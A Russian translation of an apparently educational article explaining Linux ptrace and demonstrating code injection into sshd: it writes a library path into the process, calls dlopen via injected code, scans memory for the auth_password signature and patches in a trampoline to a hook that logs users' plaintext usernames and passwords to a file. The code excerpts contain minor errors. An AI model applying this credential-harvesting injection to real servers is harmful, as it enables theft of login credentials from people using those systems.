Pull to refresh

Введение в ptrace или инъекция кода в sshd ради веселья

Reading time 9 min
Views 13K
Original author: Adam Chester


Цель, которой я задался, была весьма проста: узнать введённый в sshd пароль, используя ptrace. Конечно, это несколько искусственная задача, так как есть множество других, более эффективных, способов достичь желаемого (и с гораздо меньшей вероятностью получить SEGV), однако, мне показалось клёвым сделать именно так.

Что такое ptrace?


Те, кто знаком с инъекциями в Windows, наверняка знают функции VirtualAllocEx(), WriteProcessMemory(), ReadProcessMemory() и CreateRemoteThread(). Эти вызовы позволяют выделять память и запускать потоки в другом процессе. В мире linux ядро предоставляет нам ptrace, благодаря которому отладчики могут взаимодействовать с запущенным процессом.

Ptrace предлагает несколько полезных для отладки операций, например:

  • PTRACE_ATTACH — позволяет присоединиться к одному процессу, поставив на паузу отлаживаемый процесс
  • PTRACE_PEEKTEXT — позволяет прочитать данные из адресного пространства другого процесса
  • PTRACE_POKETEXT — позволяет записать данные в адресное пространство другого процесса
  • PTRACE_GETREGS — читает текущее состояние регистров процесса
  • PTRACE_SETREGS — записывает состояние регистров процесса
  • PTRACE_CONT — продолжает выполнение отлаживаемого процесса

Хотя это неполный список возможностей ptrace, однако, я столкнулся с трудностями из-за отсутствия знакомых мне из Win32 функций. Например, в Windows можно выделить память в другом процессе с помощью функции VirtualAllocEx(), которая возвращает тебе указатель на свежевыделенную память. Так как в ptrace такого не существует, придётся импровизировать, если хочется внедрить свой код в другой процесс.

Ну что ж, давайте подумаем о том, как захватить управление над процессом с помощью ptrace.

Основы ptrace


Первое, что мы должны сделать — присоединиться к интересующему нас процессу. Чтобы сделать это, достаточно вызывать ptrace с параметром PTRACE_ATTACH:

ptrace(PTRACE_ATTACH, pid, NULL, NULL);

Этот вызов прост как пробка, он принимает PID процесса, к которому мы хотим присоединиться. Когда происходит вызов, отправляется сигнал SIGSTOP, который вынуждает интересующий процесс остановиться.

После присоединения есть повод сохранить состояние всех регистров прежде, чем мы начнём что-то изменять. Это позволит нам восстановить работу программы позже:

struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);

Далее необходимо найти место, куда мы сможем записать наш код. Самый простой способ — извлечь информацию из файла maps, который можно найти в procfs для каждого процесса. Например, "/proc/PID/maps" у запущенного процесса sshd на Ubuntu выглядит так:



Нам необходимо найти область памяти, выделенную с правом на выполнение (скорее всего «r-xp»). Сразу, как найдём подходящую нам область, по аналогии с регистрами, сохраним содержимое, чтобы потом корректно восстановить работу:

ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);

С помощью ptrace можно читать по одному машинному слову данных (32 бита на х86 или 64 бита на х86_64) по указанному адресу, то есть для чтения бо́льшего количества данных необходимо совершить несколько вызовов, увеличивая адрес.

Примечание: в linux так же есть process_vm_readv() и process_vm_writev() для работы с адресным пространством другого процесса. Однако, в этой статье я буду придерживаться использования ptrace. При желании сделать что-то своё, лучше прочитать об этих функциях.

Теперь, когда мы сделали резервную копию понравившейся нам области памяти, мы можем начать перезапись:

ptrace(PTRACE_POKETEXT, pid, addr, word);

Аналогично PTRACE_PEEKTEXT, этот вызов может записывать только по одному машинному слову за раз по указанному адресу. Так же, для записи больше одного машинного слова потребуется множество вызовов.

После загрузки своего кода необходимо передать ему управление. Чтобы не перезаписывать данные в памяти (например, стек), мы будем использовать сохранённые ранее регистры:

struct user_regs_struct r;
memcpy(&r, &oldregs, sizeof(struct user_regs_struct));

// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, &r);

Наконец, мы можем продолжить выполнение с помощью PTRACE_CONT:

ptrace(PTRACE_CONT, pid, NULL, NULL);

Но как мы узнаем, что наш код закончил выполнение? Мы будем использовать программное прерывание, так же известное как инструкция «int 0x03», генерирующее SIGTRAP. Мы будем ждать этого с помощью waitpid():

waitpid(pid, &status, WUNTRACED);

waitpid() — блокирующий вызов, который дождётся остановки процесса с идентификатором PID и запишет причину остановки в переменную status. Здесь очень кстати есть куча макросов, которые упростят жизнь в выяснении причины остановки.

Чтобы узнать, была ли остановка из-за SIGTRAP (по причине вызова int 0x03), мы можем сделать так:

waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
    printf("SIGTRAP received\n");
}

В этот момент наш встроенный код уже выполнился и всё, что нам требуется — восстановить исходное состояние процесса. Восстановим все регистры:

ptrace(PTRACE_SETREGS, pid, NULL, &origregs);

Затем вернём оригинальные данные в памяти:

ptrace(PTRACE_POKETEXT, pid, addr, word);

И отсоединимся от процесса:

ptrace(PTRACE_DETACH, pid, NULL, NULL);

На этом хватит теории. Двинемся к более интересной части.

Инъекция в sshd


Я должен предупредить, что есть некоторая вероятность уронить sshd, так что будьте осторожны и, пожалуйста, не пытайтесь проверять это на рабочей системе и тем более, на удалённой системе через SSH :D

Более того, есть несколько более хороших способов достичь того же результата, я демонстрирую именно этот исключительно в качестве весёлого способа показать мощь ptrace (согласитесь, это круче инъекции в Hello World ;)


Единственное, что я хотел сделать — это получить комбинацию логин-пароль из запущенного sshd, когда пользователь проходит аутентификацию. При просмотре исходного кода мы можем видеть что-то такое:

auth-passwd.c

/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
 int
 auth_password(Authctxt *authctxt, const char *password)
 {
  ...
 }

Это выглядит, как отличное место для попытки изъять логин/пароль, переданные пользователем в открытом виде.

Нам хочется найти сигнатуру функции, которая позволит нам найти её [функцию] в памяти. Я использую мою любимую утилиту для дизасемблирования, radare2:



Необходимо найти последовательность байт, которая уникальна и встречается только в функции auth_password. Для этого мы воспользуемся поиском в radare2:



Так случилось, что последовательность xor rdx, rdx; cmp rax, 0x400 подходит под наши требования и встречается всего один раз во всём ELF-файле.

В качестве примечания… Если у вас нет этой последовательности, убедитесь, что у вас самая новая версия, которая так же закрывает уязвимость середины 2016. (в версии 7.6 такая последовательность так же есть и уникальна — прим.пер.)

Следующий шаг — инъекция кода.

Загружаем .so в sshd


Для загрузки нашего кода в sshd мы сделаем небольшую заглушку, которая позволит нам вызывать dlopen() и загрузить динамическую библиотеку, которая уже осуществит подмену «auth_password».

dlopen() — вызов для динамической линковки, который принимает в аргументах путь до динамической библиотеки и загружает её в адресное пространство вызывающего процесса. Эта функция находится в libdl.so, которая динамически линкуется к приложению.

К счастью, в нашем случае libdl.so уже загружена в sshd, так что нам остаётся только выполнить dlopen(). Однако, из-за ASLR очень маловероятно, что dlopen() будет в одном и том же месте каждый раз, так что придётся найти её адрес в памяти sshd.

Для того, чтобы найти адрес функции, нужно посчитать смещение — разность между адресом функции dlopen() и начальным адресом libdl.so:

unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llx\n", dlopenAddr - libdlAddr);

Теперь, когда мы посчитали смещение, нужно найти начальный адрес libdl.so из maps-файла:



Зная базовый адрес libdl.so в sshd (0x7f0490a0d000, как следует из скриншота выше), мы можем добавить смещение и получить адрес dlopen(), чтобы вызывать из кода-инъекции.

Все необходимые адреса передадим через регистры с помощью PTRACE_SETREGS.

Так же необходимо записать путь до вживляемой библиотеки в адресное пространство sshd, например:

void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
  long word = 0;
  int i = 0;

  for (i=0; i < len; i+=sizeof(word), word=0) {
    memcpy(&word, data + i, sizeof(word));
    if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
      printf("[!] Error writing process memory\n");
      exit(1);
    }
  }
}

ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)

Делая как можно во время подготовки инъекции и загружая указатели на аргументы прямо в регистры, мы можем сделать код-инъекцию проще. Например:

// Update RIP to point to our code, which will be just after 
// our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;

// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;

// Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr;

// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2;   // RTLD_LAZY

// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, &regs);

То есть, код-инъекция весьма прост:

; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03

Настало время создать нашу динамическую библиотеку, которая будет загружена кодом-инъекцией.

Прежде, чем мы двинемся дальше, рассмотрим одну важную вещь, которая будет использована… Конструктор динамической библиотеки.

Конструктор в динамических библиотеках


Динамические библиотеки могут выполнять код при загрузке. Для этого необходимо пометить функции декоратором "__attribute__((constructor))". Например:

#include <stdio.h>

void __attribute__((constructor)) test(void) {
    printf("Library loaded on dlopen()\n");
}

Скопилировать можно простой командой:

gcc -o test.so --shared -fPIC test.c

А затем проверить работоспособность:

dlopen("./test.so", RTLD_LAZY);

Когда библиотека загрузится, конструктор так же вызовется:



Мы так же используем эту функциональность, чтобы сделать нашу жизнь проще при инъекции кода в адресное пространство другого процесса.

Динамическая библиотека sshd


Теперь, когда у нас есть возможность загрузить нашу динамическую библиотеку, нужно создать код, который изменит поведение auth_password() во времени выполнения.

Когда наша динамическая библиотека загружена, мы можем найти начальный адрес sshd с помощью файла "/proc/self/maps" в procfs. Мы ищем область с правами «r-x», в которой мы будем искать уникальную последовательность в auth_password():

d = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
    if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
        ptr = strtoull(buffer, NULL, 16);
        end = strtoull(strstr(buffer, "-")+1, NULL, 16);
        break;
    }
}

Раз у нас есть диапазон адресов для поиска, ищем функцию:

const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00";
while(ptr < end) {
    // ptr[0] == search[0] added to increase performance during searching
    // no point calling memcmp if the first byte doesn't match our signature.
    if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
        break;
    }
    ptr++;
}

Когда у нас нашлось совпадение, необходимо использовать mprotect(), чтобы изменить права на доступ к области памяти. Это всё потому что область памяти доступна на чтение и выполнение, а для изменения на ходу требуются права на запись:

mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)

Отлично, у нас есть право на запись в нужную область памяти и теперь настало время добавить в начале функции auth_password небольшой трамплин, который передаст управление в хук:

char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";

Это эквивалентно такому коду:

mov rax, 0x4142434445464748
jmp rax

Конечно, адрес 0x4142434445464748 нам не подходим и он будет заменён на адрес нашего хука:

*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;

Теперь мы можем просто вставить наш трамплин в sshd. Чтобы инъекция была красивой и чистой, вставим трамплин в самое начало функции:

// Step back to the start of the function, which is 32 bytes 
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));

Теперь мы должны реализовать хук, который будет заниматься логгированием проходящих данных. Мы должны быть уверены, что сохранили все регистры до начала хука и восстановили перед возвращением к оригинальному коду:

Исходный код хука
// Remember the prolog: push rbp; mov rbp, rsp; 
// that takes place when entering this function
void passwd_hook(void *arg1, char *password) {
    // We want to store our registers for later
    asm("push %rsi\n"
        "push %rdi\n"
        "push %rax\n"
        "push %rbx\n"
        "push %rcx\n"
        "push %rdx\n"
        "push %r8\n"
        "push %r9\n"
        "push %r10\n"
        "push %r11\n"
        "push %r12\n"
        "push %rbp\n"
        "push %rsp\n"
        );

    // Our code here, is used to store the username and password
    char buffer[1024];
    int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);

    // Note: The magic offset of "arg1 + 32" contains a pointer to 
    // the username from the passed argument.
    snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password);
    write(log, buffer, strlen(buffer));
    close(log);

    asm("pop %rsp\n"
        "pop %rbp\n"
        "pop %r12\n"
        "pop %r11\n"
        "pop %r10\n"
        "pop %r9\n"
        "pop %r8\n"
        "pop %rdx\n"
        "pop %rcx\n"
        "pop %rbx\n"
        "pop %rax\n"
        "pop %rdi\n"
        "pop %rsi\n"
        );

    // Recover from the function prologue
    asm("mov %rbp, %rsp\n"
        "pop %rbp\n"
       );
    ...


Ну и это всё… в каком-то смысле…

К сожалению, после всего проделанного, это ещё не всё. Даже если инъекция кода в sshd удалась, можно заметить, что искомые пользовательские пароли всё ещё недоступны. Это связано с тем, что sshd на каждое соединение создает нового ребёнка. Именно новый ребёнок обрабатывает подключение и именно в него мы должны установить хук.

Чтобы быть уверенным, что мы работает с детьми sshd, я решил сканировать procfs на stats файлы, в которых указан Parent PID sshd. Как только находится такой процесс, инжектор запускается и для него.

В этом есть даже свои плюсы. Если всё пойдёт не по плану и код-инъекция упадёт с SIGSEGV, будет убит только процесс одного пользователя, а не родительский процесс sshd. Не самое большое утешение, но оно явно делает отладку проще.

Инъекция в действии


Окей, давай посмотрим демо:



Полный код можно найти здесь.

Надеюсь, это путешествие подарило тебе достаточно информации для того, чтобы потыкать ptrace самостоятельно.

Хочу поблагодарить следующих людей и сайты, которые помогли разобраться с ptrace:

Tags:
Hubs:
+22
Comments 9
Comments Comments 9

Articles